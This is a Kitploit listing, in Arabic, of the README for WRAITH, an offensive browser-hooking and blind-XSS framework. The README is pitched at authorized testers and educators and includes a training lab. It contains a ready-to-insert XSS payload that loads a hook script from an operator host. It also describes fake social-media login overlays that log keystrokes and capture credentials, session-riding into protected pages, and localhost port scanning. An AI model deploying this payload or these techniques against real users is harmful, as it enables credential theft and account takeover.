Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
wraith — إطار عمل لربط المتصفحات مخصص لفرق الاختراق الأخلاقي المصرح لهم والمعلمين. يربط المتصفحات عبر XSS، ويوفر تحكمًا تفاعليًا بعد الاستغلال، والتقاط غنائم XSS العمياء، وتراكبات الهندسة الاجتماعية، ومختبرًا للتدريب العملي. | Kitploit
أدوات/GitHubGitHub/arcanum-sec/wraith
الاستغلالالتصيد الاحتياليأمن الويباختبار الاختراقالقيادة والسيطرةالهندسة الاجتماعيةالتعلم والتعليمالفريق الأحمرمختبرات وتدريب عملي
GitHubarcanum-sec/wraith

wraith

إطار عمل لربط المتصفحات مخصص لفرق الاختراق الأخلاقي المصرح لهم والمعلمين. يربط المتصفحات عبر XSS، ويوفر تحكمًا تفاعليًا بعد الاستغلال، والتقاط غنائم XSS العمياء، وتراكبات الهندسة الاجتماعية، ومختبرًا للتدريب العملي.

140126منذ شهر واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودعالموقع الإلكتروني
مشاركة

WRAITH — إطار عمل ربط المتصفحات

إطار عمل حديث ومستقل لربط المتصفحات لفرق الاختراق الأخلاقي، وباحثي الأمن، والمعلمين — خليفة نظيف التصميم لأدوات BeEF وأدوات استدعاء blind-XSS التي نعتمد عليها.

للاستخدام المصرح به في الاختبارات الأمنية والبحث والتعليم فقط. WRAITH هو أداة أمن هجومية لعرض واختبار تقنيات التصيد / الرجل في المتصفح / blind-XSS. استخدمه فقط ضد أنظمة وأشخاص لديك تفويض صريح لاختبارهم. أنت مسؤول عن طريقة استخدامك له.

وحدة تحكم مشغل WRAITH


لماذا بنيناه

خلال عملنا في Arcanum، كنا نستخدم باستمرار نوعين مختلفين من الأدوات ونتمنى لو كانا شيئًا واحدًا.

من جهة كان BeEF — إطار عمل استغلال المتصفحات — لسير العمل الكلاسيكي اربط متصفحًا، ثم اعمل من داخل جلسته: سجّل ضغطات مفاتيح لصفحة تسجيل دخول مزيفة، استكشف الشبكة المحلية، ادفع وحدة إلى ضحية حية. إنها الأداة التي استخدمناها لجعل مفهوم الرجل في المتصفح حقيقيًا للناس. لكنها تُظهر عمرها، وأجزاء كبيرة منها غير موثوقة في متصفحات اليوم، وطبقات الهندسة الاجتماعية تبدو كصفحات تسجيل دخول من عقد مضى.

من جهة أخرى كانت أدواتنا المفضلة لأطر استدعاء blind-XSS (XSS Hunter، ezXSS): ضع حمولة في حقل، وبمجرد أن تنفجر في مكان لا يمكنك رؤيته، تتصل بالمركز مع الغنيمة — المصدر، ملفات تعريف الارتباط، DOM، لقطة شاشة.

ما كنا نحتاجه بشكل متزايد — خاصة مع تحول المزيد من أهدافنا إلى أنظمة تطبيقات الذكاء الاصطناعي، حيث تتدفق النصوص غير الموثوقة عبر الوكلاء، ومخرجات الأدوات، وقوائم مراجعة المشرفين، ووحدات تحكم الدعم، وتُطلق JavaScript في أماكن لا يراقبها أحد — كان إطار عمل واحدًا يقوم بالأمرين معًا: التحكم التفاعلي المستمر بعد الاستغلال مثل ربط BeEF، و غنيمة استدعاء blind-XSS من نوع أطلق وانسَ، في حمولة واحدة موثوقة في المتصفحات الحالية وتبدو كشاشات تسجيل الدخول الحقيقية اليوم.

لذا بنينا WRAITH.

تنبيه: هذا عمل قيد التطوير

نحن نطلق WRAITH مبكرًا، وبشكل متعمد. نفضل وضعه في أيدي الأشخاص الذين سيستخدمونه فعليًا — ونسمع ما الذي يتعطل — على الاحتفاظ به حتى "يكتمل".

هذا يعني: توقع حواف خشنة وأخطاء. بعض الوحدات أكثر اختبارًا من غيرها، وسلوك المتصفحات يتغير باستمرار تحتنا (انظر ملاحظات فحص الشبكة أدناه)، وقد تتغير واجهات البرمجة بين الإصدارات. إذا واجهت شيئًا، يرجى فتح مشكلة — خطوات إعادة الإنتاج، المتصفح + الإصدار، وما توقعته هي ذهب. الترحيب بالطلبات تحت شروط المساهمة للمشروع.


بدء سريع (Docker)

أسرع مسار. تحتاج إلى Docker و Docker Compose.

root@kitploit:~
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh

يرشدك setup.sh خلال كل شيء:

  1. يكتشف عنوان IP العام الخاص بك (أو يتيح لك إدخال نطاق / مضيف مخصص) بحيث يتم صك كل رابط ربط وحمولة بعنوان خاص بك.
  2. يطلب منك تعيين اسم مستخدم وكلمة مرور للمشغل لتسجيل دخول وحدة التحكم.
  3. يولّد سر توقيع الجلسة، ويكتب ملف .env مستبعدًا من git (chmod 600)، ويبني ويشغّل الحاوية.
  4. يطبع روابطك الحية وحمولة XSS جاهزة للإدراج في النهاية:
root@kitploit:~
  وحدة تحكم المشغل : http://YOUR_IP:8090/operator/
  صفحة تسجيل الدخول : http://YOUR_IP:8090/login   (المستخدم "operator")
  صفحة ضحية تجريبية : http://YOUR_IP:8090/demo/
  حمولة الربط       : http://YOUR_IP:8090/hook.js

  حمولة XSS جاهزة للإدراج:
    "><script src="http://YOUR_IP:8090/hook.js"></script>

أدره بأوامر compose القياسية:

root@kitploit:~
docker compose logs -f      # راقبه
docker compose down         # أوقفه (يحتفظ بـ ./data)
./setup.sh                  # أعد التهيئة (دور كلمة المرور، غيّر العنوان، …)

تستمر الجلسات الملتقطة في ./data/ على المضيف — أبدًا مدمجة في الصورة، أبدًا ملتزمة (.env و data/ مستبعدان من git).

وحدة تحكم المشغل محمية بتسجيل دخول كلما تم تعيين كلمة مرور مشغل، مع تسجيل دخول باسم مستخدم وكلمة مرور:

تسجيل دخول المشغل

تشغيله محليًا بدون Docker (تطوير)

root@kitploit:~
npm install
npm start

ثم افتح وحدة تحكم المشغل على http://127.0.0.1:3000/operator/ وصفحة الضحية التجريبية على http://127.0.0.1:3000/demo/ (في متصفح/ملف تعريف ثانٍ). على localhost، تسجيل الدخول معطل افتراضيًا للراحة — الخادم يرفض الارتباط بواجهة عامة بدون كلمة مرور مشغل، لذا لا يمكنك كشف لوحة مفتوحة عن طريق الخطأ.


الميزات

الربط ووحدة تحكم المشغل

/hook.js حمولة صغيرة. ضعها في أي صفحة تتحكم بها (<script src="/hook.js"></script>) أو سلّمها عبر XSS في هدفك. المتصفح الذي يحمّلها يفتح WebSocket عائدًا إلى المشغل، ويبصم نفسه (المتصفح، نظام التشغيل، IP، الصفحة، UA)، ويعيد الاتصال تلقائيًا، وينجو من التنقل. كل متصفح مربوط يظهر مباشرة في وحدة التحكم، حيث تختار واحدًا وتقوده — لوحة المعلومات الكاملة هي اللقطة الرئيسية في أعلى هذا README: قائمة المتصفحات المربوطة، تفاصيل الهدف، عناصر التحكم في النشر، موجز النشاط الحي، والبيانات المعتمدة الملتقطة.

طبقات الهندسة الاجتماعية

طبقات تسجيل دخول مزيفة حديثة، تُعرض في shadow DOM معزول بحيث تبدو دقيقة البكسلات على أي صفحة مضيفة وتضبب الصفحة خلفها مثل نافذة إعادة مصادقة حقيقية. تأتي مع LinkedIn و Facebook و Microsoft / Office 365 (بريد إلكتروني → كلمة مرور أصيل من خطوتين).

طبقة إعادة مصادقة LinkedIn فوق صفحة مضيفة

ضغطات المفاتيح الحية + البيانات المعتمدة الملتقطة

كل حرف يكتبه الهدف في طبقة يتدفق إلى وحدة التحكم في الوقت الفعلي، والبيانات المعتمدة المُرسلة تصل إلى البيانات المعتمدة الملتقطة — كلها محفوظة بحيث لا يُفقد شيء عند التحديث أو إعادة التشغيل.

ضغطات مفاتيح حية وبيانات معتمدة ملتقطة

التقاط الصفحة — غنيمة blind-XSS

لحظة ربط المتصفح، يطلق WRAITH تلقائيًا التقاط الصفحة: بالضبط ما يلتقطه إطار blind-XSS عندما تنفجر حمولتك في مكان لا يمكنك رؤيته — أين انفجرت (المصدر + URL + المُحيل)، ملفات تعريف الارتباط للضحية (غير HttpOnly)، DOM الكامل، ولقطة شاشة. يتم الإبلاغ عن الإخفاقات بصدق، لأنها هي الدرس: ملفات تعريف الارتباط HttpOnly لا تظهر أبدًا، و CSP أو تلويث canvas عبر المصادر يمكن أن يمنع لقطة الشاشة.

غنيمة التقاط صفحة blind-XSS

مرآة الصفحة — تجاوز لقطة الشاشة 🆕

هنا يذهب WRAITH أبعد من الأدوات التي يستبدلها. عندما تنجح في XSS أعمى أو ربط في صفحة، تتوقف معظم الأطر عند لقطة شاشة وتفريغ HTML خام — يمكنك رؤية أين انفجرت حمولتك، لكن لا يمكنك فعليًا فعل أي شيء بها.

مرآة الصفحة في WRAITH تحوّل تلك الغنيمة المسدودة إلى عرض حي وقابل للتنقل للتطبيق. افتح الصفحة المربوطة كعرض متصفح حقيقي ومُعرض داخل وحدة تحكم المشغل — ثم انقر الروابط وتنقل عبر التطبيق بصريًا، تمامًا كما تفعل الضحية.

مرآة الصفحة — عرض حي وقابل للنقر للصفحة المربوطة

المفتاح: كل تنقل يُجلب عبر المتصفح المربوط، لذا يركب جلسة الضحية وثقة نفس المصدر. أي صفحة أو نقطة نهاية أو ميزة يمكن لجلسة الضحية الوصول إليها، يمكنك الوصول إليها أيضًا — بما في ذلك الصفحات المحمية خلف ملف تعريف ارتباط جلسة مصادق لا تراه أبدًا (ولكونه HttpOnly، لا يمكنك سرقته صراحةً أبدًا).

في المثال أدناه، نبدأ من قائمة تذاكر وكيل دعم وننقر مباشرة إلى خزنة بيانات معتمدة داخلية — صفحة لا تُحل إلا داخل جلسة وكيل مصادق. لا بيانات معتمدة مُصطادة، ولا ملف تعريف ارتباط مسروق: ببساطة ركبنا جلسة الضحية إليها.

مرآة الصفحة تصل إلى خزنة محمية بجلسة عبر الضحية

القراءات عبر المصادر ما زالت تفشل بالتصميم (سياسة نفس المصدر قائمة) — مدى المرآة هو بالضبط مدى الضحية، لا أكثر ولا أقل. تلك الحدود هي نفسها جزء من الدرس.

كتالوج حمولات blind-XSS

كتالوج بأسلوب XSS-Hunter لسلاسل حقن جاهزة للإطلاق لكل سياق (HTML، كسر السمات، إغلاق الوسوم، معالجات الأحداث، سياق JavaScript، روابط javascript:، jQuery)، كل منها معبأ تلقائيًا برابط الربط الخاص بك وقابل للنسخ بنقرة واحدة.

كتالوج حمولات blind-XSS

فحص الشبكة المحلية / localhost

يستخدم المتصفح المربوط كوسيط لبصمة خدمات الضحية المحلية. إنها قناة جانبية توقيتية، أعيد بناؤها للمتصفحات الحالية — الافتراضي الموثوق هو فحص 127.0.0.1 معاير باستخدام بدائيين مستقلين (توقيت fetch و WebSocket، طريقة check.js الحرفية من eBay). أوضاع LAN مضمّنة لكن موسومة بصدق، لأن Chrome 142+ Local Network Access يقيّدها الآن (انظر أدناه).

مختبر تدريب مدمج

"مكتب دعم" معرض للخطر عمدًا في /lab مع حفرة XSS مخزنة، بحيث يمكنك عرض السلسلة كاملة من البداية للنهاية، بنفس المصدر: أرسل تذكرة خبيثة → "وكيل" يراجع قائمة الانتظار وتنفجر الحمولة (لحظة blind-XSS) → مرآة الصفحة للوكيل المربوط واسحب الخزنة المحمية بجلسة. غير آمن عمدًا بالتصميم، مع أعلام مزروعة.

مختبر التدريب المعرض للخطر المدمج


تعليم blind XSS على هذه المنصة

تنفجر الحمولة لحظة تحميلها، تمامًا مثل حمولة blind-XSS موضوعة في حقل مخزن يُعرض لاحقًا في سياق مشرف/دعم/سجل/وكيل لا يمكنك رؤيته. الدروس تظهر مباشرة في البيانات:

  • ملفات تعريف الارتباط قابلة للقراءة من JS فقط. ملفات تعريف الارتباط HttpOnly لا تظهر أبدًا، وهذا هو الهدف الكامل من HttpOnly — ولهذا تحديدًا نهج مرآة الصفحة اركب الجلسة أهم من اسرق ملف تعريف الارتباط.
  • لقطات الشاشة بأفضل جهد. يمكن حظر html2canvas بواسطة CSP، والصور عبر المصادر تلوّث canvas بحيث لا يمكن تصديرها. تلك الإخفاقات تُبلغ بصدق بدل إخفائها.
  • المصدر + المُحيل يخبرانك أين هبطت، وهو بالنسبة لـ blind XSS السؤال بأكمله ("أين نفذت حمولتي؟").

لمختبر دون اتصال، استضف html2canvas ذاتيًا — انظر public/vendor/README.md.

حول فحص الشبكة (اقرأ قبل أن تعرضه)

لا يمكن لـ JavaScript قراءة الاستجابات عبر المصادر، لكن يمكنها بدء طلب ومشاهدة كيف يفشل ومدى سرعته، مما يكشف حالة المنفذ. أعيد بناء الوحدة حول ما يعمل في المتصفحات الحالية (2025–2026)، لأن مسح LAN القديم من عصر BeEF أصبح ميتًا الآن.

الواقع الحديث: Chrome 142+ (أكتوبر 2025) أطلق Local Network Access (LNA)، الذي يقيّد الطلبات إلى النطاقات الخاصة (10.x / 172.16.x / 192.168.x) خلف مطالبة إذن. مسح LAN الأعمى لم يعد يصل إلى الشبكة. لكن loopback (127.0.0.1) ما زال قابلًا للوصول، وفحصه هو الهجوم الواقعي — eBay و Best Buy وآخرون ضُبطوا وهم يفحصون منافذ localhost للزوار لبصمة الخدمات المحلية وأدوات الوصول عن بُعد.

لذا للوحدة ثلاثة أوضاع:

  • هذا الجهاز (localhost) — الافتراضي الموثوق. فحص 127.0.0.1 معاير يختبر كل منفذ بتوقيت fetch و توقيت WebSocket، ويتعلم خط الأساس RST لهذا الجهاز أولًا، ثم يعلّم أي شيء يُحل أو يعلق أو يعمل أبطأ كـ مفتوح، ويسمي الخدمة المحتملة، ويظهر ما إذا كان fetch أو ws أو كلاهما متفقين. يعمل في Chrome و Firefox اليوم.
  • مضيف LAN — افحص IP خاصًا واحدًا. يعمل فقط إذا سمح المتصفح بذلك؛ Chrome 142+ سيمنعه عادةً (تكتشف الوحدة ذلك وتقول ذلك).
  • اكتشاف مضيفي LAN — مسح الشبكة الفرعية. محجوب بـ LNA في الغالب الآن؛ أُبقي لإظهار الحجب كدرس.

كيف يقابل BeEF (للمحاضرة)

BeEFWRAITH
hook.js + استطلاع XHRpublic/hook.js + WebSocket (حي، موثوق)
خادم Ruby + واجهة RESTfulserver.js (Node + ws)
لوحة المتصفحات المتصلة/غير المتصلةوحدة تحكم المشغل "المتصفحات المربوطة"
وحدة Pretty Theftطبقات modules/*.js (LinkedIn/Facebook/Microsoft حديثة)
اكتشاف الشبكة / ماسح المنافذmodules/portscan.js (معاير، للمتصفحات الحالية)
نتائج الأوامرضغطات مفاتيح حية + بيانات معتمدة ملتقطة + نتائج الفحص
(لا مقابل)التقاط الصفحة (غنيمة blind-XSS) + مرآة الصفحة (تنقل في التطبيق)

"كيف يختلف هذا عن blind XSS أو Evilginx أو EvilGoPhish؟"

هذه الأدوات تعيش في مراحل مختلفة من الهجوم وتستغل سياقات ثقة مختلفة. إنها متكاملة، وتتسلسل معًا.

WRAITH / BeEFأطر blind-XSS (XSS Hunter، ezXSS)وكلاء AiTM (Evilginx، EvilGoPhish، Modlishka)
ما هورجل في المتصفح بعد الاستغلال C2 (+ غنيمة blind-XSS)اكتشاف + إثبات XSS مع استطلاع لمرة واحدةوسيط خصم وكيل عكسي
المتطلب المسبقلديك بالفعل JS يعمل في الصفحةنفسه: حمولتك تنفذ في مكان لا يمكنك رؤيتهالضحية تنقر رابطًا وتسجل الدخول على نطاقك المشابه
الأصل الذي يستغلهجلسة الضحية الحقيقية / الأصل الحقيقيأصل التطبيق المعرض للخطرنطاق مهاجم منفصل يوكّل الموقع الحقيقي
ما تلتقطهبيانات معتمدة + ضغطات مفاتيح + استطلاع + غنيمة blind-XSS + تنقل في التطبيق عبر مرآة الصفحة"انفجرت، وهذه هي": DOM، ملفات تعريف الارتباط، لقطة شاشة، الأصلبيانات معتمدة حقيقية ورمز جلسة ما بعد MFA
يتغلب على MFA؟لا — اصطدت بيانات معتمدة ثابتةفقط إذا ركب جلسة مصادقة حية داخل الصفحةنعم — سرقة ملف تعريف ارتباط الجلسة بعد المصادقة هو الهدف

التمييز الصادق للتدريس: تصيد طبقتنا يجمع ما يكتبه المستخدم — لا يلتقط جلسة حقيقية ولا يتغلب على MFA. لهذا تحديدًا هو تباين رائع، ولهذا انتقلت الصناعة إلى مصادقة مقاومة للتصيد مرتبطة بالأصل (FIDO2 / WebAuthn / passkeys). سلسلة قتل واقعية تستخدم الثلاثة: blind XSS يجد وينفذ الكود، ربط WRAITH يعطي تحكمًا تفاعليًا داخل الجلسة (وعبر مرآة الصفحة، يصل لوظائف التطبيق مباشرة)، وإعادة توجيه يمكن أن توجه الضحية إلى تدفق Evilginx لجلسة حقيقية مجتازة MFA.

الإعداد

كل شيء مدفوع بمتغيرات البيئة؛ نفس البناء يعمل في أي مكان لأن hook.js يستمد رابط الاستدعاء الخاص به من حيثما خُدم. يكتب setup.sh هذه في .env.

متغير البيئةالافتراضيالغرض
WRAITH_HOST127.0.0.1واجهة الربط (0.0.0.0 للكشف؛ مفروض في Docker)
WRAITH_PORT3000منفذ HTTP + WebSocket (setup.sh الافتراضي 8090)
WRAITH_PUBLIC_URL(مشتق)IP/النطاق الخاص بك، يُستخدم لطباعة روابط الربط الصحيحة
WRAITH_OP_USER(فارغ)اسم مستخدم تسجيل دخول المشغل (اختياري؛ setup.sh يحدد واحدًا)
WRAITH_OP_PASSWORD(فارغ)كلمة مرور تسجيل دخول المشغل؛ مطلوبة للربط علنًا
WRAITH_SECRET(عشوائي/إقلاع)يوقع ملفات تعريف ارتباط الجلسة؛ اضبطه للحفاظ على تسجيلات الدخول عبر عمليات إعادة التشغيل
WRAITH_SESSION_HOURS12عمر جلسة المشغل
WRAITH_AUTOCAPTURE1إطلاق التقاط الصفحة تلقائيًا عند الربط (0 = يدوي، بأسلوب BeEF)

ملف تعريف ارتباط جلسة HttpOnly موقع يغطي كلًا من اللوحة و WebSocket الحي. حمولة الربط والصفحة التجريبية وقناة /ws/hook تبقى عامة بحيث يمكن للضحايا الوصول إليها. كضمانة أمان، الخادم يرفض الارتباط بواجهة عامة ما لم تُعيّن كلمة مرور.

لنشر على جهاز فعلي / systemd بدل Docker، انظر deploy/DEPLOY.md.

الملفات

root@kitploit:~
server.js            خادم C2 (HTTP + WS، دورين حسب المسار)
config.js            إعداد مدفوع بمتغيرات البيئة
store.js             مخزن جلسات/غنائم دائم (data/sessions.json)
lab.js               مختبر تدريب معرض للخطر عمدًا (/lab)
public/hook.js       الحمولة
public/demo/         صفحة هبوط "ضحية" غير ضارة
public/operator/     وحدة تحكم المشغل (GUI + كتالوج الحمولات)
modules/             linkedin.js facebook.js microsoft.js portscan.js capture.js + سجل
public/vendor/       مكتبات اختيارية مستضافة ذاتيًا (html2canvas للقطات دون اتصال)
setup.sh             مثبت Docker تفاعلي
Dockerfile           / docker-compose.yml
deploy/              بديل systemd لجهاز فعلي
docs/screenshots/    الصور المستخدمة في هذا README

الترخيص والإسناد

WRAITH هو © 2026 Arcanum Information Security، مُطلق تحت رخصة Apache 2.0.

أنت حر في استخدامه وتعديله وإعادة توزيعه — بما في ذلك في تدريبك الخاص — لكن يجب عليك الاحتفاظ بالإسناد: احتفظ بملفي LICENSE و NOTICE وإشعار حقوق النشر الخاص بـ Arcanum في أي شيء توزعه أو تفرعه، واذكر أي تغييرات أجريتها (Apache-2.0 §4). انظر NOTICE. لا تمنح الرخصة استخدام اسم أو علامات Arcanum بما يتجاوز وصف مصدر الكود.

بُني بـ ❤️ بواسطة Arcanum — https://arcanum-sec.com

تنزيل الأداة